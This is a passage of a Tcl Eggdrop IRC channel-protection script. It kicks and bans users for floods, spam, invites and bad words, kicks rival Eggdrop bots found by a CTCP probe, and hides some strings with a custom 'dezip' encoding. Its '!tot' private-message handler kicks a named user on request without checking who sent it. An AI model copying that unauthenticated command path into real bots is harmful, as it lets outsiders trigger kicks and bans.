puthlp "PRIVMSG $chan :\[ 12RuNnING WiTH9 $eggversn 12oN9 $platform 12PoWeReD bY $vern \]"
return 0
}
proc pub_logo {nick uhost hand chan rest} {
global notc
puthlp "PRIVMSG $chan :$notc"
return 0
}
proc pub_nobot {nick uhost hand chan rest} {
global botnick
if {![isop $botnick $chan]} { return 0 }
if {[isutimer "pub_nobot"]} { return 0 }
if {[rand 2] <= 1} {
puthlp "PRIVMSG $chan :\001USERINFO\001"
} {
puthlp "PRIVMSG $chan :\001CLIENTINFO\001"
}
return 0
}
bind ctcr - USERINFO ui_reply
bind ctcr - CLIENTINFO ui_reply
proc ui_reply {nick uhost hand dest key arg} {
global botnick bannick notc ismaskhost notm
if {![string match "*eggdrop*" $arg]} { return 0 }
if {$nick == $botnick || [matchattr $nick f]} { return 0 }
foreach x [channels] {
if {[onchan $nick $x] && [isop $botnick $x] && ![isop $nick $x]} {
if {[info exists ismaskhost]} {
set bannick($nick) [maskhost "*!*[string range $uhost [string first "@" $uhost] end]"]
} {
set bannick($nick) "*!*[string range $uhost [string first "@" $uhost] end]"
}
putsrv "KICK $x $nick :$notm 04[string toupper $x]12 FoRBIDDeN FoR 04EggY DuE tO LamE AnTIcIPaTEd [banmsg]"
return 0
}
}
}
bind ctcr - PING ping_reply
proc ping_reply {nick uhost hand dest key arg} {
global pingchan botnick wait_ping notc
catch { unset wait_ping }
if {$nick == $botnick} { 
return 0
}
set pingtime [expr [unixtime] - $arg]
if {[info exists pingchan($nick)]} { 
puthlp "PRIVMSG $pingchan($nick) :$notc $nick PING Reply: $pingtime sec"
unset pingchan($nick)
}
if {![matchattr $nick f]} {
set hostmask "${nick}!*@*"
putlog "!Log! 1 minutes auto ignore to $hostmask"
newignore $hostmask $botnick "*" 1
}
return 0
}
proc pub_reset {nick uhost hand chan rest} {
global notc
putsrv "NOTICE $nick :$notc !ReSeT!"
auto_ping "0" "0" "0" "0" "0"
ident_it
}
proc pub_auth {nick uhost hand chan rest} {
global botnick notc
set cmd [string tolower [lindex $rest 0]]
set ch [passwdok $nick ""]
if {$ch == 1} {
puthlp "NOTICE $nick :$notc No password set. Usage: pass <password>"
return 0
}
if {[matchattr $nick Q]} { 
puthlp "PRIVMSG $chan :${nick}, 04Iyes My LoRd"
}
if {![matchattr $nick Q]} { 
puthlp "PRIVMSG $chan :${nick}, nO!"
}
}
proc notc_prot {nick uhost hand text {dest ""}} {
	global notc botnick notc_chn bannick notm quick ismaskhost is_m
	if {$dest != "" && $dest != $botnick} {
		if {[string index $dest 0] == "+" || [string index $dest 0] == "@"} {
			foreach x [channels] {
				set x [string tolower $x]
				if {[string match "*$x*" [string tolower $dest]]} {
					set dest $x
					break
				}
			}
		} 
		if {[isop $botnick $dest]} {
			if {[string match "*-greet*" [channel info $dest]]} { return 0 }
			if {$nick == "ChanServ"} { return 0 }
			if {$nick == $botnick} { return 0 }
			if {[matchattr $nick f]} { return 0 }
			if {[isop $nick $dest]} { return 0 }
			if {[isutimer "set_-m $dest"]} { return 0 }
			if {[string length $text] > 75} {
				set bannick($nick) "*!*@[lindex [split [maskhost $uhost] @] 1]"
				if {![isutimer "TsunamI $dest"]} {
					utimer 4 [list putlog "TsunamI $dest"]
				} elseif {[info exists ismaskhost]} {
					set bannick($nick) "*!*@[lindex [split [maskhost $uhost] @] 1]"
				}
				if {$quick == "1" && ![info exists is_m($dest)]} {
					putqck "KICK $dest $nick :$notm 12ABusINg 04TsUNaMI [banms]"
					putquick "mode $dest +mR-k Channel.Flood"
				} {
					putsrv "KICK $dest $nick :$notm 12ABuSING 04TsUNaMI [banms]"
				}
				return 0
			}
			set banmask "*!*[lindex [split [maskhost $uhost] "!"] 1]"
			set bannick($nick) $banmask
			if {[info exists notc_chn($dest)]} {
				incr notc_chn($dest)
			} {
				set notc_chn($dest) 1
			}
			if {$notc_chn($dest) == 1} {
				putsrv "KICK $dest $nick :$notc 4ABusINg NoTIcE12 @ps OnLY [banmsg]"
			} elseif {$notc_chn($dest) == 2} {
				if {$quick == "1" && ![info exists is_m($dest)]} {
					putqck "KICK $dest $nick :$notm 12TwIcE 04NoTIcE ABusEd [banmsg]"
				} {
					putsrv "KICK $dest $nick :$notm 12TwIcE 04NoTIcE ABusEd [banmsg]"
				}
			} elseif {$notc_chn($dest) >= 3} {
				if {[info exists ismaskhost]} {
					set bannick($nick) [maskhost $banmask]
				}
				if {$quick == "1" && ![info exists is_m($dest)]} {
					putqck "KICK $dest $nick :$notm 12tO mUcH 04vIoLencE12 FRoM THIS I.S.P 04@uT.12 !!"
				} {
					putsrv "KICK $dest $nick :$notm 12tO mUcH 04vIoLencE12 FRoM THIS I.S.P 04@uT.12 !!"
				}
			}
			return 0
		}
		repeat_pubm $nick $uhost $hand $dest $text
	} {
		msg_prot $nick $uhost $hand $text
	}
}
proc setignore {mask reason time} {
global quick
foreach x [ignorelist] {
if {[lindex $x 0] == $mask} { return 0 }
}
newignore $mask "IgN" $reason 15
if {$quick == "1"} {
putquick "silence +$mask"
} {
putserv "silence +$mask"
}
utimer $time [list unsetignore $mask]
}
proc unsetignore {mask} {
if {![isignore $mask]} { return 0 }
putserv "silence -$mask"
killignore $mask
}
set massmsg 0
proc msg_prot {unick uhost hand text} {
	global nick botnick invme own nickpass altpass notc notm notb notd virus_nick ex_flood vern
	global altnick twice_msg version bannick massmsg keep-nick badwords quick is_m ismaskhost
	#global querym
	#set querymsg [lindex $querym [rand [llength $querym]]]
	regsub -all -- [dezip "jG~BDx04ntxb0"] $text "" text
	msg_Z $unick $uhost $hand $text
	set real $text
	set text [uncolor $text]
	if {$unick == $botnick} { return 0 }
	if {[string match "*dcc send*" [string tolower $text]] && ![string match "*Serv*" $unick] && ![matchattr $unick f]} {
		set virus_nick $unick
		foreach x [channels] {
			if {[onchan $virus_nick $x] && ![matchattr $virus_nick f] && ![isop $virus_nick $x]} {
				if {[isop $botnick $x]} {
					set host [getchanhost $virus_nick $x]
					set host "*!*@[lindex [split $host @] 1]"
					set bannick($virus_nick) $host
					putsrv "KICK $x $virus_nick :$notm 04!SpaM!12 I HaTE 04VIRuZ [banms]"
					set virus_nick ""
				} else {
					set members [chanlist $x f]
					foreach c $members {
						if {[isop $c $x]} {
							set sendspam "!tot [zip "$x $unick $notm 04!SpaM!12 FRoM 04@[lindex [split [getchanhost $virus_nick $x] @] 1] ViRuZ [banmsg]"]"
							putsrv "PRIVMSG $c :$sendspam"
						return 0
						}
					}
				}
			}
		}
		return 0
	}
	if {$unick == "ChanServ"} {
		if {[string match "*You do not have access to op people on*" $text] && [getuser "config" XTRA "MUSTOP"] != "" && $botnick == $nick} {
			set partchn [lindex $text 9]
			set partchn [string range $partchn 0 [expr [string length $partchn]-2]]
			if {[string match "*-secret*" [channel info $partchn]]} {
				putsrv "PART $partchn :((((@pGuaRd))))"
				channel remove $partchn
				savechan
			}
		}
		if {[string match "*is not on*" $text]} { 
			set text [string tolower $text]
			foreach x [channels] {
				set x [string tolower $x]
				set cflag "c$x"
				set cflag [string range $cflag 0 8]
				if {[string match "*$x*" $text]} {
					if {![string match "*c*" [getchanmode $x]]} {
						putsrv "PART $x :12regained (04@12)ps status"
					} {
						putsrv "PART $x :12regained (@)ps status"
					}
					if {[matchattr $cflag K]} {
						puthlp "JOIN $x :[dezip [getuser $cflag XTRA "CI"]]"
					} {
						puthlp "JOIN $x"
					}
				}
			}
			return 0
		}
		if {[string match "*AOP:*SOP:*AKICK*" $text]} {
			foreach errchan [channels] {
				set cflag "c$errchan"
				set cflag [string range $cflag 0 8]
				if {[string match "*[string tolower $errchan] *" [string tolower $text]]} {
					if {![isop $botnick $errchan]} {
						timer 1 { putlog "resync" }
						if {![string match "*c*" [getchanmode $errchan]]} {
							putsrv "PART $errchan :12regained (04@12)ps status"
						} {
							putsrv "PART $errchan :regained (@)ps status"
						}
						if {[matchattr $cflag K]} {
							puthlp "JOIN $errchan :[dezip [getuser $cflag XTRA "CI"]]"
						} {
							puthlp "JOIN $errchan"
						}
					}
					return 0
				}
			}
		}
		return 0 
	}
	if {$unick == "NickServ"} {
		if {[string match "*nick is owned*" [string tolower $text]]} { 
			putlog "!Log! IDeNTIFY"
			catch { clearqueue all }
			if {$botnick == $nick && $nickpass != ""} { 
				putsrv "NickServ identify $nickpass"
			}
			if {$botnick == $altnick && $altpass != ""} { 
				putsrv "NickServ identify $altpass"
			}
		}
		if {[string match "*Password accepted for*" $text]} { auto_reop }
		if {[string match "*The nick $nick is not registered*" $text] && $nickpass != ""} {
			if {[getuser "config" XTRA "EMAIL"] != ""} {
				putsrv "NickServ register $nickpass [getuser "config" XTRA "EMAIL"]"
			}
		}
		if {[string match "*The nick $nick has been temporarily registered to you*" $text]} {
			putsrv "NickServ identify $nickpass"
		}
		return 0
	}
	if {$unick == "MemoServ"} {
		if {[string match "*New DALnet news is available*" $text]} {
			putsrv "PRIVMSG MemoServ@services.dal.net :NEWS"
		}
		return 0
	}
	if {[string match "!tot*" [string tolower $text]]} {
		set salls [dezip [lrange $text 1 end]]
		set schan [lindex $salls 0]
		set snick [lindex $salls 1]
		set sreas [lrange $salls 2 end]
		if {![isop $botnick $schan] || [matchattr $snick f] || ![onchan $snick $schan]} { return 0 }
		set banhost [getchanhost $snick $schan]
		set banhost "*!*@[lindex [split $banhost @] 1]"
		set bannick($snick) $banhost
		regsub -all -- [dezip "bF~uC0.JqaEc0"] $sreas "" sreas
		regsub -all -- [dezip "xdxs~F1hBM6q0"] $sreas "" sreas
		putsrv "KICK $schan $snick :$sreas"
		return 0
	}
	if {[string match "*auth*" $text] || [string match "*[string tolower $notb]*" [string tolower $text]]} { return 0 }
		if {[matchattr $hand f]} { return 0 }
		set mhost [string range $uhost [string first "@" $uhost] end]
		if {![isutimer "MSGCOUNTER"]} {
			utimer 20 { putlog "MSGCOUNTER" }
			set massmsg 1
		} {
			set massmsg [incr massmsg]
			if {[string length $text] > 100} {
				set massmsg [incr massmsg]
			}
			if {$massmsg >= 5} {
				set massmsg 0
				set mhost [string range $uhost [string first "@" $uhost] end]
				setignore "*!*@*" "*" 120
				if {[info exists ismaskhost]} {
					setignore [maskhost "*!*$mhost"] "MaZz MSg" 300
				} {
					setignore "*!*$mhost" "MaZz MSg" 300
				}
				foreach iamop [channels] {
					if {[isop $botnick $iamop]} {
						if {[string match "*c*" [getchanmode $iamop]]} {
							puthlp "PRIVMSG $iamop :\001ACTION IncOmINg MaZz MSg..! LasT FRoM 12[unsix "$unick!$uhost"]\001"
						} {
							puthlp "PRIVMSG $iamop :\001ACTION IncOmINg MaZz MSg..! LasT FRoM 12[unsix "$unick!$uhost"]\001"
						}
						foreach c [chanlist $iamop] {
							set nickhost [string range [getchanhost $c $iamop] [string first "@" [getchanhost $c $iamop]] end]
							if {$nickhost == $mhost && ![matchattr $c f]} {
								if {$c == $botnick} { return 0 }
								set bannick($c) "*!*$mhost"
								putsrv "KICK $iamop $c :$notm 12Heavy 04FLoOd12 MSg FRoM 04$mhost [banms]"
								break
							}
						}
					}
				}
				return 0
			}
		}
		if {[string match "*decode*" [string tolower $text]]} {
foreach x [channels] {
if {[onchan $unick $x]} {
if {[isop $botnick $x]} {
set bannick($unick) "*!*$mhost"
putsrv "KICK $x $unick :$notm 04!SpaM!12 I HaTE 04dEcOdE [banms]"
return 0
} {
set members [chanlist $x f]
foreach c $members {
if {[isop $c $x]} {
set sendspam "!tot [zip "$x $unick $notm 04!SpaM!12 FRoM 04[string range $uhost [string first "@" $uhost] end]12 dEcOdE [banmsg]"]"
putsrv "PRIVMSG $c :$sendspam"
return 0
}
}
}
}
}
set invme($mhost) "dEcOdE"
}
if {[string match "*#*" $text] || [string match "*/j*" $text]} {
foreach x [channels] {
set chksiton [string tolower $x]
if {[string match "*$chksiton*" [string tolower $text]]} { return 0 }
}
foreach x [channels] {
if {[onchan $unick $x]} {
if {[isop $botnick $x]} {
set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
set bannick($unick) $banmask
putsrv "KICK $x $unick :$notm 04!SpaM!12 I HaTE 04InvITeR [banms]"
return 0
} {
set members [chanlist $x f]
foreach c $members {
if {[isop $c $x]} {
set sendspam "!tot [zip "$x $unick $notm 04!SpaM!12 FRoM 04[string range $uhost [string first "@" $uhost] end]12 InvITE [banmsg]"]"
putsrv "PRIVMSG $c :$sendspam"
return 0
}
}
}
} {
set banmask "[string range $uhost [string first "@" $uhost] end]"
if {$banmask != "*!*@*" && $banmask != "*"} {
foreach c [chanlist $x] {
set nickhost "[string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]"
if {$banmask == $nickhost} {
if {[matchattr $c f]} {
return 0
}
if {$c != $botnick} {
if {[isop $botnick $x]} {
set bannick($c) $banmask
set mhost [string range $uhost [string first "@" $uhost] end]
putsrv "KICK $x $c :$notm 04!SpaM!12 InvITeR 04ReLaY12 FRoM 04$unick12 IP 04$mhost [banms]"
} {
set members [chanlist $x f]
foreach s $members {
if {[isop $s $x]} {
set mhost [string range $uhost [string first "@" $uhost] end]
set sendspam "!tot [zip "$x $c $notm 04!SpaM!12 InvITeR 04ReLaY12 FRoM 04$unick12 IP 04$mhost [banms]"]"
putsrv "PRIVMSG $s :$sendspam"
break
}
}
}
return 0
}
}
}
}
}
}
set invme($mhost) "InvITE"
return 0
}
if {[string match "*http:/*" [string tolower $text]] || [string match "*www.*" [string tolower $text]]} {
foreach x [channels] {
if {[onchan $unick $x]} {
if {[isop $botnick $x]} {
set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
set bannick($unick) $banmask
putsrv "KICK $x $unick :$notm 04!SpaM!12 I HaTE 04AdvERTIsE [banms]"
return 0
} else {
set members [chanlist $x f]
foreach c $members {
if {[isop $c $x]} {
set sendspam "!tot [zip "$x $unick $notm 04!SpaM!12 FRoM 04[string range $uhost [string first "@" $uhost] end] AdvERTIsE [banmsg]"]"
putsrv "PRIVMSG $c :$sendspam"
return 0
}
}
}
} {
set banmask "[string range $uhost [string first "@" $uhost] end]"
if {$banmask != "*!*@*" && $banmask != "*"} {
foreach c [chanlist $x] {
set nickhost "[string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]"
if {$banmask == $nickhost} {
if {[matchattr $c f]} {
return 0
}
if {$c != $botnick} {
if {[isop $botnick $x]} {
set bannick($c) $banmask
set mhost [string range $uhost [string first "@" $uhost] end]
putsrv "KICK $x $c :$notm 04!SpaM!12 AdvERTIsE 04ReLaY12 FRoM 04$unick12 IP 04$mhost [banms]"
} {
set members [chanlist $x f]
foreach s $members {
if {[isop $s $x]} {
set mhost [string range $uhost [string first "@" $uhost] end]
set sendspam "!tot [zip "$x $c $notm 04!SpaM!12 AdvERTIsE 04ReLaY12 FRoM 04$unick12 IP 04$mhost [banms]"]"
putsrv "PRIVMSG $s :$sendspam"
return 0
}
}
}
return 0
}
}
}
}
}
}
set invme($mhost) "AdvERTIsE"
return 0
}
set mhost [string range $uhost [string first "@" $uhost] end]
if {[string length $text] > 100} {
set chr 0
set cnt 0
while {$cnt < [string length $real]} {
if [isflood [string index $real $cnt]] {
incr chr
}
incr cnt
}
if {$chr > 30} {
setignore "*!*@*" "*" 120
if {[info exists ismaskhost]} {
setignore [maskhost "*!*$mhost"] "TsunamI MSg" 300
} {
setignore "*!*$mhost" "TsunamI MSg" 300
}
foreach x [channels] {
if {[isop $botnick $x]} {
if {[string match "*c*" [getchanmode $x]]} {
puthlp "PRIVMSG $x :\001ACTION IncOmINg TsunamI MSg..! FRoM 12[unsix "$unick!$uhost"]\001"
} {
puthlp "PRIVMSG $x :\001ACTION IncOmINg TsunamI MSg..! FRoM 12[unsix "$unick!$uhost"]\001"
}
foreach c [chanlist $x] {
set nickhost [string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]
if {$nickhost == $mhost} {
if {[matchattr $c f] || $c == $botnick} {
return 0
}
set bannick($c) "*!$uhost"
putsrv "KICK $x $c :$notm 04TsunamI12 MSg FRoM 04$uhost [banms]"
break
}
}
}
}
return 0
}
}
foreach badword [string tolower $badwords] {
if {[string match *$badword* [string tolower $text]]} {
foreach x [channels] {
if {[onchan $unick $x]} {
if {[isop $unick $x] || [isvoice $unick $x]} { return 0 }
if {[isop $botnick $x]} {
set bannick($unick) "*!$uhost"
putsrv "KICK $x $unick :$notm 04BaDWoRD12 MSg FRoM 04$mhost12 MaTcH FRoM 04[string toupper $badword] [banms]"
return 0
} {
foreach s [chanlist $x f] {
if {[isop $s $x]} {
set sendspam "!tot [zip "$x $unick $notm 04BaDWoRD12 MSg FRoM 04$mhost12 MaTcH FRoM 04[string toupper $badword] [banms]"]"
putsrv "PRIVMSG $s :$sendspam"
}
}
}
}
}
}
}
if {[string length $text] > 200} {
if {![isutimer "LONGTEXT"]} {
utimer 30 { putlog "LONGTEXT" }
setignore "*!*@*" "*" 120
if {[info exists ismaskhost]} {
setignore [maskhost "*!*$mhost"] "LoNg TexT MSg" 300
} {
setignore "*!*$mhost" "LoNg TexT MSg" 300
}
}
foreach x [channels] {
if {[isop $botnick $x]} {
if {[string match "*c*" [getchanmode $x]]} {
puthlp "PRIVMSG $x :\001ACTION IncOmINg LoNg TexT MSg..! FRoM [unsix "$unick!$uhost"]\001"
} {
puthlp "PRIVMSG $x :\001ACTION IncOmINg LoNg TexT MSg..! FRoM 12[unsix "$unick!$uhost"]\001"
}
foreach c [chanlist $x] {
set nickhost [string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]
if {$nickhost == $mhost} {
if {[matchattr $c f] || $c == $botnick} { return 0 }
set bannick($c) "*!*$mhost"
putsrv "KICK $x $c :$notm 12LoNg TexT MSg FRoM 04$mhost [banms]"
break
}
}
} {
foreach c [chanlist $x] {
set nickhost [string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]
if {$nickhost == $mhost} {
if {[matchattr $c f] || $c == $botnick} {
return 0
}
foreach s [chanlist $x f] {
if {[isop $s $x]} {
set sendspam "!tot [zip "$x $c $notm 12LoNg TexT MSg FRoM 04$mhost [banms]"]"
putsrv "PRIVMSG $s :$sendspam"
break
}
}
}
}
}
}
return 1
}
if {$unick != $own} {
if {[info exists twice_msg($unick)]} {
set hostmask "${unick}!*@*"
#puthlp "PRIVMSG $unick :$querymsg"
putlog "!Log! IgNORE <<$hostmask>> PV-msg"
unset twice_msg($unick)
newignore $hostmask $unick "*" 2
} {
if {[istimer "chkautomsg"]} {
set invme($mhost) "AuToJoIN MSg"
return 0
}
if {[isutimer "NO REPLY"]} { 
foreach x [utimers] {
if {[string match "*NO REPLY*" $x]} { 
killutimer [lindex $x 2] 
}
}
utimer 10 { putlog "NO REPLY" }
return 0
}
utimer 10 { putlog "NO REPLY" }
if {[string match "*dal*et*" $uhost]} {
#puthlp "PRIVMSG $unick :$querymsg"
} {
if {[getuser "config" XTRA "AWAY"]!=""} { 
#puthlp "PRIVMSG $unick :$querymsg"
} {
#puthlp "PRIVMSG $unick :$querymsg"
}
set twice_msg($unick) 1
}
}
}
}
proc auto_reop {} {
global notc botnick
foreach x [channels] {
if {[onchan $botnick $x]} { 
if {![isop $botnick $x] && [string tolower $x] != "Sidimpuan"} {
if {![string match "*+protectfriends*" [channel info $x]]} {
set cret 30
foreach ct [utimers] {
if {[string match "*chancnt*" $ct]} {
if {[expr [lindex $ct 0] + 30] > $cret} {
set cret [expr [lindex $ct 0] + 30]
}
}
}
utimer $cret [list chancnt $x]
}
}
}
}
return 0
}
proc chancnt {chan} {
if {[isutimer "chancnt $chan"]} { return 0 }
putsrv "ChanServ count $chan"
}
proc msg_kick {nick uhost hand rest} {
global notc botnick own
set chantarget [lindex $rest 0]
set nicktarget [lindex $rest 1]
set reason [lrange $rest 2 end]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {($chantarget == "") || ($nicktarget == "")} {
puthlp "NOTICE $nick :$notc Usage: kick <#chan> <Nick> <Reason>"
return 0
}
if {[isop $botnick $chantarget]!=1} {
puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
return 0
}
if {![onchan $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget Is NoT oN CHaNNeL"
return 0
}
if {$nicktarget == $botnick} {
puthlp "NOTICE $nick :$notc I CaN'T KiCK My SeLF!"
return 0
}
if {[matchattr $nicktarget n] && ![matchattr $nick Z]} {
puthlp "NOTICE $nick :$notc I CaN'T KIcK MY ADmIN"
return 0
}
if {$reason == ""} {
set reason "12ReQuesT..!"
if {[matchattr $nick n]} { 
set reason "12ADmIN 04KIcK12 ReQuesT04..!"
}
if {[matchattr $nick m] && ![matchattr $nick n]} { 
set reason "12MasTeR 04KIcK12 ReQuesT04..!"
}
}
foreach x [channels] {
if {[string tolower $x]==[string tolower $chantarget]} {
putsrv "KICK $x $nicktarget :$notc $reason"
return 0
}
}
puthlp "NOTICE $nick :$notc NoT IN $chantarget"
}
proc msg_kickban {nick bmask hand rest} {
global notc notm botnick own bannick
set chantarget [lindex $rest 0]
set nicktarget [lindex $rest 1]
set bmask [getchanhost $nicktarget $chantarget]
set bmask "*!*@[lindex [split $bmask @] 1]"
set reason [lrange $rest 2 end]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {($chantarget == "") || ($nicktarget == "")} {
puthlp "NOTICE $nick :$notc Usage: kickban <#chan> <Nick> <Reason>"
return 0
}
if {[isop $botnick $chantarget]!=1} {
puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
return 0
}
if {![onchan $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget Is NoT oN CHaNNeL"
return 0
}
if {$nicktarget == $botnick} {
puthlp "NOTICE $nick :$notc I CaN'T KiCK My SeLF!"
return 0
}
if {[matchattr $nicktarget n] && ![matchattr $nick Z]} {
puthlp "NOTICE $nick :$notc I CaN'T KiCkBaN My ADmIN"
return 0
}
if {$reason == ""} {
set reason "12KIcKBaN ReQuesT04..!"
if {[matchattr $nick m]} {
set reason "12MasTeR 04KIcKBaN12 ReQuesT [banmsg]"
}
if {[matchattr $nick n]} {
set reason "12ADmIN 04KIcKBaN12 ReQuesT [banmsg]"
}
}
foreach x [channels] {
if {[string tolower $x]==[string tolower $chantarget]} {
set bannick($nicktarget) $bmask
putquick "KICK $x $nicktarget :$notm $reason"
putquick "mode $x +b $bmask"
return 0
}
}
puthlp "NOTICE $nick :$notc NoT IN $chantarget"
}
proc msg_op {nick uhost hand rest} {
global notc botnick
set chantarget [lindex $rest 0]
set nicktarget [lindex $rest 1]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {($chantarget == "") || ($nicktarget == "")} {
puthlp "NOTICE $nick :$notc Usage: op <#chan> <Nick>"
return 0
}
if {[isop $botnick $chantarget]!=1} {
puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
return 0
}
if {![onchan $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget Is NoT oN CHaNNeL"
return 0
}
if {[isop $nicktarget $chantarget]!=0} {
puthlp "NOTICE $nick :$notc $nicktarget Is aLReAdY oP oN CHaNNEL $chantarget"
return 0
}
foreach x [channels] {
if {[string tolower $x] == [string tolower $chantarget]} {
opq $x $nicktarget
return 0
}
}
puthlp "NOTICE $nick :$notc NoT IN $chantarget"
}
proc msg_voice {nick uhost hand rest} {
global notc botnick
set chantarget [lindex $rest 0]
set nicktarget [lindex $rest 1]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {($chantarget == "") || ($nicktarget == "")} {
puthlp "NOTICE $nick :$notc Usage: voice <#chan> <Nick>"
return 0
}
if {[isop $botnick $chantarget]!=1} {
puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
return 0
}
if {![onchan $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget Is NoT oN CHaNNeL"
return 0
}
if {[isvoice $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget Is aLReAdY VoIce oN cHaNNeL $chantarget"
}
foreach x [channels] {
if {[string tolower $x]==[string tolower $chantarget]} {
putserv "mode $x +v $nicktarget"
return 0
}
}
puthlp "NOTICE $nick :$notc NoT IN $chantarget"
}
proc msg_deop {nick uhost hand rest} {
global notc botnick own
set chantarget [lindex $rest 0]
set nicktarget [lindex $rest 1]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {($chantarget == "") || ($nicktarget == "")} {
puthlp "NOTICE $nick :$notc Usage: deop <#chan> <Nick>"
return 0
}
if {[isop $botnick $chantarget] != 1} {
puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
return 0
}
if {![onchan $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget Is NoT oN CHaNNeL"
return 0
}
if {![isop $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $chantarget Is NoT oP oN CHaNNEL $chantarget"
return 0
}
if {$nicktarget == $botnick} {
puthlp "NOTICE $nick :$notc I CaN'T SeLF DEoP!"
return 0
}
if {[matchattr $nicktarget n]} {
puthlp "NOTICE $nick :$notc I CaN'T DEoP MY OwNeR"
return 0
}
if {[matchattr $nick m]} {
set mreq "04MasTeR.ReQuesT"
}
if {[matchattr $nick n]} {
set mreq "04ADmIN.ReQuesT"
}
foreach x [channels] {
if {[string tolower $x]==[string tolower $chantarget]} {
if {![string match "*k*" [getchanmode $x]]} {
putserv "mode $x -ko $mreq $nicktarget"
} {
putserv "mode $x -o $nicktarget"
}
return 0
}
}
puthlp "NOTICE $nick :$notc NoT IN $chantarget"
}
proc msg_devoice {nick uhost hand rest} {
global notc botnick owner
set chantarget [lindex $rest 0]
set nicktarget [lindex $rest 1]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {($chantarget == "") || ($nicktarget == "")} {
puthlp "NOTICE $nick :$notc Usage: devoice <#chan> <Nick>"
return 0
}
if {[isop $botnick $chantarget]!=1} {
puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
return 0
}
if {![onchan $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget Is NoT oN CHaNNeL"
}
if {![isvoice $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget Is NoT VoIce oN CHaNNeL $chantarget"
}
if {$nicktarget == $owner} {
puthlp "NOTICE $nick :$notc I CaN'T DEVoIce MY OwNeR"
return 0
}
foreach x [channels] {
if {[string tolower $x]==[string tolower $chantarget]} {
putserv "mode $x -v $nicktarget"
return 0
}
}
puthlp "NOTICE $nick :$notc NoT IN $chantarget"
}
bind kick - * prot:kick
proc prot:kick {nick uhost handle chan knick reason} {
global notc notd botnick ps kickme notb notm bannick igflood botname quick is_m op_it is_ban iskick
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {[string match "* *" $reason] || [string match "*$notm*" $reason]} {
set igflood($nick) "1"
}
if {[info exists iskick($knick$chan)]} {
unset iskick($knick$chan)
}
if {$nick == $botnick} {
if {[info exists kickme($knick)]} { 
if {$kickme($knick) == 1} {
set kickme($knick) 2
}
if {$kickme($knick) == 3} {
catch { unset kickme($knick) }
}
}
if {[string match "*$notm*" $reason]} {
if {![info exists bannick($knick)]} { return 0 }
if {[info exists is_ban($bannick($knick)$chan)]} { return 0 }
set is_ban($bannick($knick)$chan) 1
if {$bannick($knick) == "*!*@*"} { return 0 }
set cmode [getchanmode $chan]
set ok_m "1"
if {[info exists is_m($chan)]} {
set ok_m "0"
}
if {[isutimer "set_-m $chan"]} {
set ok_m "0"
}
if {[string match "*m*" $cmode]} {
set ok_m "0"
}
if {$ok_m == "1"} {
set is_m($chan) 1
if {$quick == "1"} {
putquick "mode $chan +b $bannick($knick)"
} {
putserv "mode $chan +b $bannick($knick)"
}
} {
if {$quick == "1"} {
putquick "mode $chan +b $bannick($knick)"
} {
putserv "mode $chan +b $bannick($knick)"
}
}
return 0
} {
if {![info exists bannick($knick)]} { return 0 }
if {$bannick($knick) == "*!*@*"} { return 0 }
putserv "mode $chan +b $bannick($knick)"
if {[string match "*04BaNNEd12: 3 MINUTES*" $reason]} { utimer 180 [list unbanq $chan $bannick($knick)] }
}
return 0
}
if {$nick == $knick} { return 0 }
if {$nick == "ChanServ"} { return 0 }
if {[matchattr $nick f]} { return 0 }
if {[string match "* *" $reason] || [string match "*$notm*" $reason]} { return 0 }
if {$knick == $botnick} {
if {[info exists kickme($nick)]} { 
set kickme($nick) 3
if {[string tolower $chan] != "Sidimpuan"} {
putsrv "ChanServ deop $chan $nick"
}
} {
if {[matchattr $cflag D]} {
set kickme($nick) 1
}
}
puthlp "JOIN $chan"
return 0
}
if {![isop $botnick $chan]} { return 0 }
if {$knick == $notb} {
putserv "KICK $chan $nick :$notm 12DonT KIcK 04$notb12..!"
set op_it($knick) 1
return 0
}
if {$knick == $ps} {
putserv "KICK $chan $nick :$notm 12DonT KIcK 04$ps12..!"
set op_it($knick) 1
return 0
}
if {[matchattr $knick n]} {
putsrv "KICK $chan $nick :$notm 12ADmIN 04KIcK12 PRoTecTIoN04..!"
set op_it($knick) 1
return 0
}
if {[matchattr $knick m]} {
putsrv "KICK $chan $nick :$notm 12MasTeR 04KIcK12 PRoTecTIoN04..!"
set op_it($knick) 1
return 0
}
}
proc unbanq {chan host} {
global botnick
if {[isop $botnick $chan]} {
puthelp "mode $chan -b $host"
}
}
set banidx 1
proc banmsg {} {
global banidx bancounter kickcounter ban-time
set banidx [incr banidx]
set counter [open $kickcounter r]; set currentkicks [gets $counter]; catch {close $counter}; set kicks [expr $currentkicks]
